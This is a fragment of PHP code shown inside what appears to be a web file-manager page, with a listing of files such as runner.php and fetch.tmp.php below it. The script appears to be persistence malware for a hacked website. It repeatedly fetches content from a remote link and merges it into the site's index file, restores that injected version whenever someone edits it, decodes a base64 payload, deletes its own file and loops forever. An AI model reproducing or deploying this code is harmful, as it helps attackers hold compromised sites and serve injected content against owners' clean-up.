p_r_guard_capture($indexPath, $siteRoot) { if (!@is_file($indexPath) || !@is_readable($indexPath)) { return false; } $content = @file_get_contents($indexPath); if ($content === false) { return false; } $meta = array( 'path' => @realpath($indexPath) ?: $indexPath, 'md5' => md5($content), 'size' => strlen($content), 'mode' => 0444, 'ts' => time(), ); $okMeta = @file_put_contents(p_r_guard_meta_path($siteRoot), json_encode($meta)) !== false; $okBody = @file_put_contents(p_r_guard_content_path($siteRoot), $content) !== false; return $okMeta && $okBody; } function p_r_guard_is_tampered($indexPath, $siteRoot) { $metaRaw = @file_get_contents(p_r_guard_meta_path($siteRoot)); if ($metaRaw === false || $metaRaw === '') { return false; } $meta = json_decode($metaRaw, true); if (!is_array($meta) || empty($meta['md5'])) { return false; } if (!@is_file($indexPath)) { return true; } $content = @file_get_contents($indexPath); if ($content === false) { return true; } return md5($content) !== (string) $meta['md5']; } function p_r_guard_restore($indexPath, $siteRoot) { $content = @file_get_contents(p_r_guard_content_path($siteRoot)); if ($content === false) { return false; } if (!p_r_prepare_index_write($indexPath)) { return false; } if (@file_put_contents($indexPath, $content) === false) { return false; } p_r_finalize_index_write($indexPath); return true; } function p_r_guard_tick($indexPath, $siteRoot) { if (!@is_file($indexPath)) { return; } if (p_r_guard_is_tampered($indexPath, $siteRoot)) { p_r_guard_restore($indexPath, $siteRoot); } else { p_r_finalize_index_write($indexPath); } } function p_r_fetch_body($url) { if ($url === '') { return ''; } $raw = p_r_http_get($url, P_RUNNER_HTTP_TIMEOUT); return p_r_strip_bom($raw); } function p_r_cycle_fetch_merge_guard($indexPath, $siteRoot, $sourcesLink) { $fresh = p_r_fetch_body($sourcesLink); if ($fresh !== '') { p_r_merge_index($indexPath, $fresh, $siteRoot); p_r_guard_capture($indexPath, $siteRoot); } p_r_guard_tick($indexPath, $siteRoot); } $__siteRoot = (string) P_RUNNER_SITE_ROOT; $__indexPath = p_r_resolve_index($__siteRoot); if ($__indexPath === '') { return; } p_r_purge_scripts(); $__initialB64 = (string) P_RUNNER_INITIAL_BODY_B64; $__initial = ($__initialB64 !== '') ? (string) @base64_decode($__initialB64) : ''; if ($__initial === '' || $__initial === false) { $__initial = p_r_fetch_body((string) P_RUNNER_SOURCES_LINK); } if ($__initial !== '') { p_r_merge_index($__indexPath, $__initial, $__siteRoot); } p_r_guard_capture($__indexPath, $__siteRoot); if (defined('P_RUNNER_BOOTSTRAP_INLINE') && P_RUNNER_BOOTSTRAP_INLINE) { return; } @unlink(__FILE__); $__counter = 0; while (true) { usleep((int) P_RUNNER_TICK_USEC); $__counter++; if ($__counter % (int) P_RUNNER_CYCLE_EVERY !== 0) { continue; } if (p_r_exec_pick() !== null) { p_r_purge_scripts(); } p_r_cycle_fetch_merge_guard($__indexPath, $__siteRoot, (string) P_RUNNER_SOURCES_LINK); } ?>
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 fetch.tmp.php
PHP
7.2 KB
2026-10-01 14:11
EDIT
📄 index_baseline.dat
DAT
19.6 KB
2026-10-01 14:11
EDIT
📄 index_baseline.json
JSON
132 B
2026-10-01 14:11
EDIT
📄 runner.php
PHP
27.5 KB
2026-09-29 10:24
EDIT